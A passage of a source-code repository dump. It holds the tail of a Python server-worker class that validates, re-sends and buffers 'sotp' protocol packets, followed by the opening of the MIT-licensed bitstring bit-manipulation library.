Recv: {msg.printHeader()}") p = self.transformToPacket(msg.content) if p is None: self._LOGGING_ and self.logger.error(f"[ServerWorker {self.id}] cannot convert data to sotp packet, re-sending...") return Message("serverworker",self.id,"router",0,MessageType.STREAM,self.lostPacket().toBytes(),msg.wrapServerQ) if self.checkReinitialization(p): return Message("serverworker",self.id,"router",0,MessageType.STREAM,self.doReinitialization(p),msg.wrapServerQ) if self.checkTermination(p): self._LOGGING_ and self.logger.info(f"[ServerWorker {self.id}] termination packet detection") return self.doTermination(p,msg.wrapServerQ) if checkerFunc(p) is False: self._LOGGING_ and self.logger.error(f"[ServerWorker {self.id}] {checkerFunc} has failed, re-sending...") return Message("serverworker",self.id,"router",0,MessageType.STREAM,self.lostPacket().toBytes(),msg.wrapServerQ) if self.checkConfirmation(p) is False: self._LOGGING_ and self.logger.error(f"[ServerWorker {self.id}] cannot confirm our last sent packet, re-sending...") return Message("serverworker",self.id,"router",0,MessageType.STREAM,self.lostPacket().toBytes(),msg.wrapServerQ) return nextFunc(p,msg.wrapServerQ) # Method that processes the data from the overlay and stores it in its buffer. def overlayProcessing(self, data): self._LOGGING_ and self.logger.debug(f"[DataThread] {data.sender} sent {len(data.content)} bytes of data, storing...") self.storeOverlayContent(data.content) # A method (running on a thread) that receives the data from the overlay, encrypts it, # chunks it and saves it parallel to the mistica server thread. def dataEntry(self): while True: data = self.datainbox.get() if data.isTerminateMessage(): break self.overlayProcessing(data) self._LOGGING_ and self.logger.debug(f"[DataThread] Terminated") # Handler for STREAM (data) type messages def handleStream(self, msg): if self.st == Status.WORKING: self.outbox.put(self.initialChecks(msg, self.checkWorkRequest, self.doWork)) elif self.st == Status.TERMINATING: self.overlay.inbox.put(Message("serverworker",self.id,'overlay', self.overlay.id, MessageType.SIGNAL,SignalType.COMMS_FINISHED)) # Handler for SIGNAL type messages. def handleSignal(self, msg): if msg.isTerminateMessage(): self.datainbox.put(Message("serverworker", self.id, "datathread", 0, MessageType.SIGNAL, SignalType.TERMINATE)) self.exit = True # Entry point of the associated Worker when creating a new session with a client. def run(self): self._LOGGING_ and self.logger.info(f"[ServerWorker {self.id}] associated with {self.overlay.name} started!") dataThread = Thread(target=self.dataEntry) dataThread.start() while (not self.exit): msg = self.inbox.get() if (msg.isSignalMessage()): self.handleSignal(msg) continue self.handleStream(msg) self._LOGGING_ and self.logger.debug(f"[ServerWorker {self.id}] Terminated") ================================================ FILE: utils/bitstring.py ================================================ #!/usr/bin/env python """ This package defines classes that simplify bit-wise creation, manipulation and interpretation of data. Classes: Bits -- An immutable container for binary data. BitArray -- A mutable container for binary data. ConstBitStream -- An immutable container with streaming methods. BitStream -- A mutable container with streaming methods. Bits (base class) / \ + mutating methods / \ + streaming methods / \ BitArray ConstBitStream \ / \ / \ / BitStream Functions: pack -- Create a BitStream from a format string. Exceptions: Error -- Module exception base class. CreationError -- Error during creation. InterpretError -- Inappropriate interpretation of binary data. ByteAlignError -- Whole byte position or length needed. ReadError -- Reading or peeking past the end of a bitstring. https://github.com/scott-griffiths/bitstring """ __licence__ = """ The MIT License Copyright (c) 2006-2019 Scott Griffiths (dr.scottgriffiths@gmail.com) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ __version__ = "3.1.6" __author__ = "Scott Griffiths" import numbers import copy import sys import re import binascii import mmap import os import struct import operator import collections import array byteorder = sys.byteorder bytealigned = False """Determines whether a number of methods default to working only on byte boundaries.""" # Maximum number of digits to use in __str__ and __repr__. MAX_CHARS = 250 # Maximum size of caches used for speed optimisations. CACHE_SIZE = 1000 class Error(Exception): """Base class for errors in the bitstring module.""" def __init__(self, *params): self.msg = params[0] if params else '' self.params = params[1:] def __str__(self): if self.params: return self.msg.format(*self.params) return self.msg class ReadError(Error, IndexError): """Reading or peeking past the end of a bitstring.""" def __init__(self, *params): Error.__init__(self, *params) class InterpretError(Error, ValueError): """Inappropriate interpretation of binary data.""" def __init__(self, *params): Error.__init__(self, *params) class ByteAlignError(Error): """Whole-byte position or length needed.""" def __init__(self, *params): Error.__init__(self, *params) class CreationError(Error, ValueError): """Inappropriate argument during bitstring creation.""" def __init__(self, *params): Error.__init__(self, *params) class ConstByteStore(object): """Stores raw bytes together with a bit offset and length. Used internally - not part of public interface. """ __slots__ = ('offset', '_rawarray', 'bitlength') def __init__(self, data, bitlength=None, offset=None): """data is either a bytearray or a MmapByteArray""" self._rawarray = data if offset is None: offset = 0 if bitlength is None: bitlength = 8 * len(data) - offset self.offset = offset self.bitlength = bitlength def __iter__(self): start_byte, start_bit = divmod(self.offset, 8) end_byte, end_bit = divmod(self.offset + self.bitlength, 8) for byte_index in xrange(start_byte, end_byte): byte = self._rawarray[byte_index] for bit in range(start_bit, 8): yield bool(byte & (128 >> bit)) start_bit = 0 if end_bit: byte = self._rawarray[end_byte] for bit in range(start_bit, end_bit): yield bool(byte & (128 >> bit)) def getbit(self, pos): assert 0 <= pos < self.bitlength byte, bit = divmod(self.offset + pos, 8) return bool(self._rawarray[byte] & (128 >> bit)) def getbyte(self, pos): """Direct access to byte data.""" return self._rawarray[pos] def getbyteslice(self, start, end): """Direct access to byte data.""" c = self._rawarray[start:end] return c @property def bytelength(self): if not self.bitlength: return 0 sb = self.offset // 8 eb = (self.offset + self.bitlength - 1) // 8 return eb - sb + 1 def __copy__(self): return ByteStore(self._rawarray[:], self.bitlength, self.offset) def _appendstore(self, store): """Join another store on to the end of this one.""" if not store.bitlength: return # Set new array offset to the number of bits in the final byte of current array. store = offsetcopy(store, (self.offset + self.bitlength) % 8) if store.offset: # first do the byte with the join. joinval = (self._rawarray.pop() & (255 ^ (255 >> store.offset)) | (store.getbyte(0) & (255 >> store.offset))) self._rawarray.append(joinval) self._rawarray.extend(store._rawarray[1:]) else: self._rawarray.extend(store._rawarray) self.bitlength += store.bitlength def _prependstore(self, store): """Join another store on to the start of this one.""" if not store.bitlength: return # Set the offset of copy of store so that it's final byte # ends in a position that matches the offset of self, # then join self on to the end of it. store = offsetcopy(store, (self.offset - store.bitlength) % 8) assert (store.offset + store.bitlength) % 8 == self.offset % 8 bit_offset = self.offset % 8 if bit_offset: # first do the byte with the join. joinval = (store.getbyte(-1) & (255 ^ (255 >> bit_offset)) | (self._rawarray[self.byteoffset] & (255 >> bit_offset))) store._rawarray[-1] = joinval store._rawarray.extend(self._rawarray[self.byteoffset + 1: self.byteoffset + self.bytelength]) else: store._rawarray.extend(self._rawarray[self.byteoffset: self.byteoffset + self.bytelength]) self._rawarray = store._rawarray self.offset = store.offset self.bitlength += store.bitlength @property def byteoffset(self): return self.offset // 8 @property def rawbytes(self): return self._rawarray class ByteStore(ConstByteStore): """Adding mutating methods to ConstByteStore Used internally - not part of public interface. """ __slots__ = () def setbit(self, pos): assert 0 <= pos < self.bitlength byte, bit = divmod(self.offset + pos, 8) self._rawarray[byte] |= (128 >> bit) def unsetbit(self, pos): assert 0 <= pos < self.bitlength byte, bit = divmod(self.offset + pos, 8) self._rawarray[byte] &= ~(128 >> bit) def invertbit(self, pos): assert 0 <= pos < self.bitlength byte, bit = divmod(self.offset + pos, 8) self._rawarray[byte] ^= (128 >> bit) def setbyte(self, pos, value): self._rawarray[pos] = value def setbyteslice(self, start, end, value): self._rawarray[start:end] = value def offsetcopy(s, newoffset): """Return a copy of a ByteStore with the newoffset. Not part of public interface. """ assert 0 <= newoffset < 8 if not s.bitlength: return copy.copy(s) else: if newoffset == s.offset % 8: return type(s)(s.getbyteslice(s.byteoffset, s.byteoffset + s.bytelength), s.bitlength, newoffset) newdata = [] d = s._rawarray assert newoffset != s.offset % 8 if newoffset < s.offset % 8: # We need to shift everything left shiftleft = s.offset % 8 - newoffset # First deal with everything except for the final byte for x in range(s.byteoffset, s.byteoffset + s.bytelength - 1): newdata.append(((d[x] << shiftleft) & 0xff) +\ (d[x + 1] >> (8 - shiftleft))) bits_in_last_byte = (s.offset + s.bitlength) % 8 if not bits_in_last_byte: bits_in_last_byte = 8 if bits_in_last_byte > shiftleft: newdata.append((d[s.byteoffset + s.bytelength - 1] << shiftleft) & 0xff) else: # newoffset > s._offset % 8 shiftright = newoffset - s.offset % 8 newdata.append(s.getbyte(0) >> shiftright) for x in range(s.byteoffset + 1, s.byteoffset + s.bytelength): newdata.append(((d[x - 1] << (8 - shiftright)) & 0xff) +\ (d[x] >> shiftright)) bits_in_last_byte = (s.offset + s.bitlength) % 8 if not bits_in_last_byte: bits_in_last_byte = 8 if bits_in_last_byte + shiftright > 8: newdata.append((d[s.byteoffset + s.bytelength - 1] << (8 - shiftright)) & 0xff) new_s = type(s)(bytearray(newdata), s.bitlength, newoffset) assert new_s.offset == newoffset return new_s def equal(a, b): """Return True if ByteStores a == b. Not part of public interface. """ # We want to return False for inequality as soon as possible, which # means we get lots of special cases. # First the easy one - compare lengths: a_bitlength = a.bitlength b_bitlength = b.bitlength if a_bitlength != b_bitlength: return False if not a_bitlength: assert b_bitlength == 0 return True # Make 'a' the one with the smaller offset if (a.offset % 8) > (b.offset % 8): a, b = b, a # and create some aliases a_bitoff = a.offset % 8 b_bitoff = b.offset % 8 a_byteoffset = a.byteoffset b_byteoffset = b.byteoffset a_bytelength = a.bytelength b_bytelength = b.bytelength da = a._rawarray db = b._rawarray # If they are pointing to the same data, they must be equal if da is db and a.offset == b.offset: return True if a_bitoff == b_bitoff: bits_spare_in_last_byte = 8 - (a_bitoff + a_bitlength) % 8 if bits_spare_in_last_byte == 8: bits_spare_in_last_byte = 0 # Special case for a, b contained in a single byte if a_bytelength == 1: a_val = ((da[a_byteoffset] << a_bitoff) & 0xff) >> (8 - a_bitlength) b_val = ((db[b_byteoffset] << b_bitoff) & 0xff) >> (8 - b_bitlength) return a_val == b_val # Otherwise check first byte if da[a_byteoffset] & (0xff >> a_bitoff) != db[b_byteoffset] & (0xff >> b_bitoff): return False # then everything up to the last b_a_offset = b_byteoffset - a_byteoffset for x in range(1 + a_byteoffset, a_byteoffset + a_bytelength - 1): if da[x] != db[b_a_offset + x]: return False # and finally the last byte return (da[a_byteoffset + a_bytelength - 1] >> bits_spare_in_last_byte == db[b_byteoffset + b_bytelength - 1] >> bits_spare_in_last_byte) assert a_bitoff != b_bitoff # This is how much we need to shift a to the right to compare with b: shift = b_bitoff - a_bitoff # Special case for b only one byte long if b_bytelength == 1: assert a_bytelength == 1 a_val = ((da[a_byteoffset] << a_bitoff) & 0xff) >> (8 - a_bitlength) b_val = ((db[b_byteoffset] << b_bitoff) & 0xff) >> (8 - b_bitlength) return a_val == b_val # Special case for a only one byte long if a_bytelength == 1: assert b_bytelength == 2 a_val = ((da[a_byteoffset] << a_bitoff) & 0xff) >> (8 - a_bitlength) b_val = ((db[b_byteoffset] << 8) + db[b_byteoffset + 1]) << b_bitoff b_val &= 0xffff b_val >>= 16 - b_bitlength return a_val == b_val # Compare first byte of b with bits from first byte of a if (da[a_byteoffset] & (0xff >> a_bitoff)) >> shift != db[b_byteoffset] & (0xff >> b_bitoff): return False # Now compare every full byte of b with bits from 2 bytes of a for x in range(1, b_bytelength - 1): # Construct byte from 2 bytes in a to compare to byte in b b_val = db[b_byteoffset + x] a_val = ((da[a_byteoffset + x - 1] << 8) + da[a_byteoffset + x]) >> shift a_val &= 0xff if a_val != b_val: return False # Now check bits in final byte of b final_b_bits = (b.offset + b_bitlength) % 8 if not final_b_bits: final_b_bits = 8 b_val = db[b_byteoffset + b_bytelength - 1] >> (8 - final_b_bits) final_a_bits = (a.offset + a_bitlength) % 8 if not final_a_bits: final_a_bits = 8 if b.bytelength > a_bytelength: assert b_bytelength == a_bytelength + 1 a_val = da[a_byteoffset + a_bytelength - 1] >> (8 - final_a_bits) a_val &= 0xff >> (8 - final_b_bits) return a_val == b_val assert a_bytelength == b_bytelength a_val = da[a_byteoffset + a_bytelength - 2] << 8 a_val += da[a_byteoffset + a_bytelength - 1] a_val >>= (8 - final_a_bits) a_val &= 0xff >> (8 - final_b_bits) return a_val == b_val class MmapByteArray(object): """Looks like a bytearray, but from an mmap. Not part of public interface. """ __slots__ = ('filemap', 'filelength', 'source', 'byteoffset', 'bytelength') def __init__(self, source, bytelength=None, byteoffset=None): self.source = source source.seek(0, os.SEEK_END) self.filelength = source.tell() if byteoffset is None: byteoffset = 0 if bytelength is None: bytelength = self.filelength - byteoffset self.byteoffset = byteoffset self.bytelength = bytelength self.filemap = mmap.mmap(source.fileno(), 0, access=mmap.ACCESS_READ) def __getitem__(self, key): try: start = key.start stop = key.stop except AttributeError: try: assert 0 <= key < self.bytelength return ord(self.filemap[key + self.byteoffset]) except TypeError: # for Python 3 return self.filemap[key + self.byteoffset] else: if start is None: start = 0 if stop is None: stop = self.bytelength assert key.step is None assert 0 <= start < self.bytelength assert 0 <= stop <= self.bytelength s = slice(start + self.byteoffset, stop + self.byteoffset) return bytearray(self.filemap.__getitem__(s)) def __len__(self): return self.bytelength # This creates a dictionary for every possible byte with the value being # the key with its bits reversed. BYTE_REVERSAL_DICT = dict() # For Python 2.x/ 3.x coexistence # Yes this is very very hacky. if sys.version_info[0] == 2: for i in range(256): BYTE_REVERSAL_DICT[i] = chr(int("{0:08b}".format(i)[::-1], 2)) else: for i in range(256): BYTE_REVERSAL_DICT[i] = bytes([int("{0:08b}".format(i)[::-1], 2)]) from io import IOBase as file xrange = range basestring = str # Python 2.x octals start with '0', in Python 3 it's '0o' LEADING_OCT_CHARS = len(oct(1)) - 1 def tidy_input_string(s): """Return string made lowercase and with all whitespace removed.""" s = ''.join(s.split()).lower() return s INIT_NAMES = ('uint', 'int', 'ue', 'se', 'sie', 'uie', 'hex', 'oct', 'bin', 'bits', 'uintbe', 'intbe', 'uintle', 'intle', 'uintne', 'intne', 'float', 'floatbe', 'floatle', 'floatne', 'bytes', 'bool', 'pad') TOKEN_RE = re.compile(r'(?P' + '|'.join(INIT_NAMES) + r')((:(?P[^=]+)))?(=(?P.*))?$', re.IGNORECASE) DEFAULT_UINT = re.compile(r'(?P[^=]+)?(=(?P.*))?$', re.IGNORECASE) MULTIPLICATIVE_RE = re.compile(r'(?P.*)\*(?P.+)') # Hex, oct or binary literals LITERAL_RE = re.compile(r'(?P0(x|o|b))(?P.+)', re.IGNORECASE) # An endianness indicator followed by one or more struct.pack codes STRUCT_PACK_RE = re.compile(r'(?P<|>|@)?(?P(?:\d*[bBhHlLqQfd])+)$') # A number followed by a single character struct.pack code STRUCT_SPLIT_RE = re.compile(r'\d*[bBhHlLqQfd]') # These replicate the struct.pack codes # Big-endian REPLACEMENTS_BE = {'b': 'intbe:8', 'B': 'uintbe:8', 'h': 'intbe:16', 'H': 'uintbe:16', 'l': 'intbe:32', 'L': 'uintbe:32', 'q': 'intbe:64', 'Q': 'uintbe:64', 'f': 'floatbe:32', 'd': 'floatbe:64'} # Little-endian REPLACEMENTS_LE = {'b': 'intle:8', 'B': 'uintle:8', 'h': 'intle:16', 'H': 'uintle:16', 'l': 'intle:32', 'L': 'uintle:32', 'q': 'intle:64', 'Q': 'uintle:64', 'f': 'floatle:32', 'd': 'floatle:64'} # Size in bytes of all the pack codes. PACK_CODE_SIZE = {'b': 1, 'B': 1, 'h': 2, 'H': 2, 'l': 4, 'L': 4, 'q': 8, 'Q': 8, 'f': 4, 'd': 8} _tokenname_to_initialiser = {'hex': 'hex', '0x': 'hex', '0X': 'hex', 'oct': 'oct', '0o': 'oct', '0O': 'oct', 'bin': 'bin', '0b': 'bin', '0B': 'bin', 'bits': 'auto', 'bytes': 'bytes', 'pad': 'pad'} def structparser(token): """Parse struct-like format string token into sub-token list.""" m = STRUCT_PACK_RE.match(token) if not m: return [token] else: endian = m.group('endian') if endian is None: return [token] # Split the format string into a list of 'q', '4h' etc. formatlist = re.findall(STRUCT_SPLIT_RE, m.group('fmt')) # Now deal with mulitiplicative factors, 4h -> hhhh etc. fmt = ''.join([f[-1] * int(f[:-1]) if len(f) != 1 else f for f in formatlist]) if endian == '@': # Native endianness if byteorder == 'little': endian = '<' else: assert byteorder == 'big' endian = '>' if endian == '<': tokens = [REPLACEMENTS_LE[c] for c in fmt] else: assert endian == '>' tokens = [REPLACEMENTS_BE[c] for c in fmt] return tokens def tokenparser(fmt, keys=None, token_cache={}): """Divide the format string into tokens and parse them. Return stretchy token and list of [initialiser, length, value] initialiser is one of: hex, oct, bin, uint, int, se, ue, 0x, 0o, 0b etc. length is None if not known, as is value. If the token is in the keyword dictionary (keys) then it counts as a special case and isn't messed with. tokens must be of the form: [factor*][initialiser][:][length][=value] """ try: return token_cache[(fmt, keys)] except KeyError: token_key = (fmt, keys) # Very inefficient expanding of brackets. fmt = expand_brackets(fmt) # Split tokens by ',' and remove whitespace # The meta_tokens can either be ordinary single tokens or multiple # struct-format token strings. meta_tokens = (''.join(f.split()) for f in fmt.split(',')) return_values = [] stretchy_token = False for meta_token in meta_tokens: # See if it has a multiplicative factor m = MULTIPLICATIVE_RE.match(meta_token) if not m: factor = 1 else: factor = int(m.group('factor')) meta_token = m.group('token') # See if it's a struct-like format tokens = structparser(meta_token) ret_vals = [] for token in tokens: if keys and token in keys: # Don't bother parsing it, it's a keyword argument ret_vals.append([token, None, None]) continue value = length = None if token == '': continue # Match literal tokens of the form 0x... 0o... and 0b... m = LITERAL_RE.match(token) if m: name = m.group('name') value = m.group('value') ret_vals.append([name, length, value]) continue # Match everything else: m1 = TOKEN_RE.match(token) if not m1: # and if you don't specify a 'name' then the default is 'uint': m2 = DEFAULT_UINT.match(token) if not m2: raise ValueError("Don't understand token '{0}'.".format(token)) if m1: name = m1.group('name') length = m1.group('len') if m1.group('value'): value = m1.group('value') else: assert m2 name = 'uint' length = m2.group('len') if m2.group('value'): value = m2.group('value') if name == 'bool': if length is not None and length != '1': raise ValueError("You can only specify one bit sized bool tokens or leave unspecified.") length = 1 if length is None and name not in ('se', 'ue', 'sie', 'uie'): stretchy_token = True if length is not None: # Try converting length to int, otherwise check it's a key. try: length = int(length) if length < 0: raise Error # For the 'bytes' token convert length to bits. if name == 'bytes': length *= 8 except Error: raise ValueError("Can't read a token with a negative length.") except ValueError: if not keys or length not in keys: raise ValueError("Don't understand length '{0}' of token.".format(length)) ret_vals.append([name, length, value]) # This multiplies by the multiplicative factor, but this means that # we can't allow keyword values as multipliers (e.g. n*uint:8). # The only way to do this would be to return the factor in some fashion # (we can't use the key's value here as it would mean that we couldn't # sensibly continue to cache the function's results. (TODO). return_values.extend(ret_vals * factor) return_values = [tuple(x) for x in return_values] if len(token_cache) < CACHE_SIZE: token_cache[token_key] = stretchy_token, return_values return stretchy_token, return_values # Looks for first number*( BRACKET_RE = re.compile(r'(?P\d+)\*\(') def expand_brackets(s): """Remove whitespace and expand all brackets.""" s = ''.join(s.split()) while True: start = s.find('(') if start == -1: break count = 1 # Number of hanging open brackets p = start + 1 while p < len(s): if s[p] == '(': count += 1 if s[p] == ')': count -= 1 if not count: break p += 1 if count: raise ValueError("Unbalanced parenthesis in '{0}'.".format(s)) if start == 0 or s[start - 1] != '*': s = s[0:start] + s[start + 1:p] + s[p + 1:] else: m = BRACKET_RE.search(s) if m: factor = int(m.group('factor')) matchstart = m.start('factor') s = s[0:matchstart] + (factor - 1) * (s[start + 1:p] + ',') + s[start + 1:p] + s[p + 1:] else: raise ValueError("Failed to parse '{0}'.".format(s)) return s # This converts a single octal digit to 3 bits. OCT_TO_BITS = ['{0:03b}'.format(i) for i in xrange(8)] # A dictionary of number of 1 bits contained in binary representation of any byte BIT_COUNT = dict(zip(xrange(256), [bin(i).count('1') for i in xrange(256)])) class Bits(object): """A container holding an immutable sequence of bits. For a mutable container use the BitArray class instead. Methods: all() -- Check if all specified bits are set to 1 or 0. any() -- Check if any of specified bits are set to 1 or 0. count() -- Count the number of bits set to 1 or 0. cut() -- Create generator of constant sized chunks. endswith() -- Return whether the bitstring ends with a sub-string. find() -- Find a sub-bitstring in the current bitstring. findall() -- Find all occurrences of a sub-bitstring in the current bitstring. join() -- Join bitstrings together using current bitstring. rfind() -- Seek backwards to find a sub-bitstring. split() -- Create generator of chunks split by a delimiter. startswith() -- Return whether the bitstring starts with a sub-bitstring. tobytes() -- Return bitstring as bytes, padding if needed. tofile() -- Write bitstring to file, padding if needed. unpack() -- Interpret bits using format string. Special methods: Also available are the operators [], ==, !=, +, *, ~, <<, >>, &, |, ^. Properties: bin -- The bitstring as a binary string. bool -- For single bit bitstrings, interpret as True or False. bytes -- The bitstring as a bytes object. float -- Interpret as a floating point number. floatbe -- Interpret as a big-endian floating point number. floatle -- Interpret as a little-endian floating point number. floatne -- Interpret as a native-endian floating point number. hex -- The bitstring as a hexadecimal string. int -- Interpret as a two's complement signed integer. intbe -- Interpret as a big-endian signed integer. intle -- Interpret as a little-endian signed integer. intne -- Interpret as a native-endian signed integer. len -- Length of the bitstring in bits. oct -- The bitstring as an octal string. se -- Interpret as a signed exponential-Golomb code. ue -- Interpret as an unsigned exponential-Golomb code. sie -- Interpret as a signed interleaved exponential-Golomb code. uie -- Interpret as an unsigned interleaved exponential-Golomb code. uint -- Interpret as a two's complement unsigned integer. uintbe -- Interpret as a big-endian unsigned integer. uintle -- Interpret as a little-endian unsigned integer. uintne -- Interpret as a native-endian unsigned integer. """ __slots__ = ('_datastore') def __init__(self, auto=None, length=None, offset=None, **kwargs): """Either specify an 'auto' initialiser: auto -- a string of comma separated tokens, an integer, a file object, a bytearray, a boolean iterable, an array or another bitstring. Or initialise via **kwargs with one (and only one) of: bytes -- raw data as a string, for example read from a binary file. bin -- binary string representation, e.g. '0b001010'. hex -- hexadecimal string representation, e.g. '0x2ef' oct -- octal string representation, e.g. '0o777'. uint -- an unsigned integer. int -- a signed integer. float -- a floating point number. uintbe -- an unsigned big-endian whole byte integer. intbe -- a signed big-endian whole byte integer. floatbe - a big-endian floating point number. uintle -- an unsigned little-endian whole byte integer. intle -- a signed little-endian whole byte integer. floatle -- a little-endian floating point number. uintne -- an unsigned native-endian whole byte integer. intne -- a signed native-endian whole byte integer. floatne -- a native-endian floating point number. se -- a signed exponential-Golomb code. ue -- an unsigned exponential-Golomb code. sie -- a signed interleaved exponential-Golomb code. uie -- an unsigned interleaved exponential-Golomb code. bool -- a boolean (True or False). filename -- a file which will be opened in binary read-only mode. Other keyword arguments: length -- length of the bitstring in bits, if needed and appropriate. It must be supplied for all integer and float initialisers. offset -- bit offset to the data. These offset bits are ignored and this is mainly intended for use when initialising using 'bytes' or 'filename'. """ pass def __new__(cls, auto=None, length=None, offset=None, _cache={}, **kwargs): # For instances auto-initialised with a string we intern the # instance for re-use. try: if isinstance(auto, basestring): try: return _cache[auto] except KeyError: x = object.__new__(Bits) try: _, tokens = tokenparser(auto) except ValueError as e: raise CreationError(*e.args) x._datastore = ConstByteStore(bytearray(0), 0, 0) for token in tokens: x._datastore._appendstore(Bits._init_with_token(*token)._datastore) assert x._assertsanity() if len(_cache) < CACHE_SIZE: _cache[auto] = x return x if type(auto) == Bits: return auto except TypeError: pass x = super(Bits, cls).__new__(cls) x._datastore = ConstByteStore(b'') x._initialise(auto, length, offset, **kwargs) return x def _initialise(self, auto, length, offset, **kwargs): if length is not None and length < 0: raise CreationError("bitstring length cannot be negative.") if offset is not None and offset < 0: raise CreationError("offset must be >= 0.") if auto is not None: self._initialise_from_auto(auto, length, offset) return if not kwargs: # No initialisers, so initialise with nothing or zero bits if length is not None and length != 0: data = bytearray((length + 7) // 8) self._setbytes_unsafe(data, length, 0) return self._setbytes_unsafe(bytearray(0), 0, 0) return k, v = kwargs.popitem() try: init_without_length_or_offset[k](self, v) if length is not None or offset is not None: raise CreationError("Cannot use length or offset with this initialiser.") except KeyError: try: init_with_length_only[k](self, v, length) if offset is not None: raise CreationError("Cannot use offset with this initialiser.") except KeyError: if offset is None: offset = 0 try: init_with_length_and_offset[k](self, v, length, offset) except KeyError: raise CreationError("Unrecognised keyword '{0}' used to initialise.", k) def _initialise_from_auto(self, auto, length, offset): if offset is None: offset = 0 self._setauto(auto, length, offset) return def __iter__(self): return iter(self._datastore) def __copy__(self): """Return a new copy of the Bits for the copy module.""" # Note that if you want a new copy (different ID), use _copy instead. # The copy can return self as it's immutable. return self def __lt__(self, other): raise TypeError("unorderable type: {0}".format(type(self).__name__)) def __gt__(self, other): raise TypeError("unorderable type: {0}".format(type(self).__name__)) def __le__(self, other): raise TypeError("unorderable type: {0}".format(type(self).__name__)) def __ge__(self, other): raise TypeError("unorderable type: {0}".format(type(self).__name__)) def __add__(self, bs): """Concatenate bitstrings and return new bitstring. bs -- the bitstring to append. """ bs = Bits(bs) if bs.len <= self.len: s = self._copy() s._append(bs) else: s = bs._copy() s = self.__class__(s) s._prepend(self) return s def __radd__(self, bs): """Append current bitstring to bs and return new bitstring. bs -- the string for the 'auto' initialiser that will be appended to. """ bs = self._converttobitstring(bs) return bs.__add__(self) def __getitem__(self, key): """Return a new bitstring representing a slice of the current bitstring. Indices are in units of the step parameter (default 1 bit). Stepping is used to specify the number of bits in each item. >>> print BitArray('0b00110')[1:4] '0b011' >>> print BitArray('0x00112233')[1:3:8] '0x1122' """ length = self.len if isinstance(key, slice): step = key.step if key.step is not None else 1 if step != 1: # convert to binary string and use string slicing bs = self.__class__() bs._setbin_unsafe(self._getbin().__getitem__(key)) return bs start, stop = 0, length if key.start is not None: start = key.start if key.start < 0: start += stop if key.stop is not None: stop = key.stop if key.stop < 0: stop += length start = max(start, 0) stop = min(stop, length) if start < stop: return self._slice(start, stop) else: return self.__class__() else: # single element if key < 0: key += length if not 0 <= key < length: raise IndexError("Slice index out of range.") # Single bit, return True or False return self._datastore.getbit(key) def __len__(self): """Return the length of the bitstring in bits.""" return self._getlength() def __str__(self): """Return approximate string representation of bitstring for printing. Short strings will be given wholly in hexadecimal or binary. Longer strings may be part hexadecimal and part binary. Very long strings will be truncated with '...'. """ length = self.len if not length: return '' if length > MAX_CHARS * 4: # Too long for hex. Truncate... return ''.join(('0x', self._readhex(MAX_CHARS * 4, 0), '...')) # If it's quite short and we can't do hex then use bin if length < 32 and length % 4 != 0: return '0b' + self.bin # If we can use hex then do so if not length % 4: return '0x' + self.hex # Otherwise first we do as much as we can in hex # then add on 1, 2 or 3 bits on at the end bits_at_end = length % 4 return ''.join(('0x', self._readhex(length - bits_at_end, 0), ', ', '0b', self._readbin(bits_at_end, length - bits_at_end))) def __repr__(self): """Return representation that could be used to recreate the bitstring. If the returned string is too long it will be truncated. See __str__(). """ length = self.len if isinstance(self._datastore._rawarray, MmapByteArray): offsetstring = '' if self._datastore.byteoffset or self._offset: offsetstring = ", offset=%d" % (self._datastore._rawarray.byteoffset * 8 + self._offset) lengthstring = ", length=%d" % length return "{0}(filename='{1}'{2}{3})".format(self.__class__.__name__, self._datastore._rawarray.source.name, lengthstring, offsetstring) else: s = self.__str__() lengthstring = '' if s.endswith('...'): lengthstring = " # length={0}".format(length) return "{0}('{1}'){2}".format(self.__class__.__name__, s, lengthstring) def __eq__(self, bs): """Return True if two bitstrings have the same binary representation. >>> BitArray('0b1110') == '0xe' True """ try: bs = Bits(bs) except TypeError: return False return equal(self._datastore, bs._datastore) def __ne__(self, bs): """Return False if two bitstrings have the same binary representation. >>> BitArray('0b111') == '0x7' False """ return not self.__eq__(bs) def __invert__(self): """Return bitstring with every bit inverted. Raises Error if the bitstring is empty. """ if not self.len: raise Error("Cannot invert empty bitstring.") s = self._copy() s._invert_all() return s def __lshift__(self, n): """Return bitstring with bits shifted by n to the left. n -- the number of bits to shift. Must be >= 0. """ if n < 0: raise ValueError("Cannot shift by a negative amount.") if not self.len: raise ValueError("Cannot shift an empty bitstring.") n = min(n, self.len) s = self._slice(n, self.len) s._append(Bits(n)) return s def __rshift__(self, n): """Return bitstring with bits shifted by n to the right. n -- the number of bits to shift. Must be >= 0. """ if n < 0: raise ValueError("Cannot shift by a negative amount.") if not self.len: raise ValueError("Cannot shift an empty bitstring.") if not n: return self._copy() s = self.__class__(length=min(n, self.len)) s._append(self[:-n]) return s def __mul__(self, n): """Return bitstring consisting of n concatenations of self. Called for expression of the form 'a = b*3'. n -- The number of concatenations. Must be >= 0. """ if n < 0: raise ValueError("Cannot multiply by a negative integer.") if not n: return self.__class__() s = self._copy() s._imul(n) return s def __rmul__(self, n): """Return bitstring consisting of n concatenations of self. Called for expressions of the form 'a = 3*b'. n -- The number of concatenations. Must be >= 0. """ return self.__mul__(n) def __and__(self, bs): """Bit-wise 'and' between two bitstrings. Returns new bitstring. bs -- The bitstring to '&' with. Raises ValueError if the two bitstrings have differing lengths. """ bs = Bits(bs) if self.len != bs.len: raise ValueError("Bitstrings must have the same length " "for & operator.") s = self._copy() s._iand(bs) return s def __rand__(self, bs): """Bit-wise 'and' between two bitstrings. Returns new bitstring. bs -- the bitstring to '&' with. Raises ValueError if the two bitstrings have differing lengths. """ return self.__and__(bs) def __or__(self, bs): """Bit-wise 'or' between two bitstrings. Returns new bitstring. bs -- The bitstring to '|' with. Raises ValueError if the two bitstrings have differing 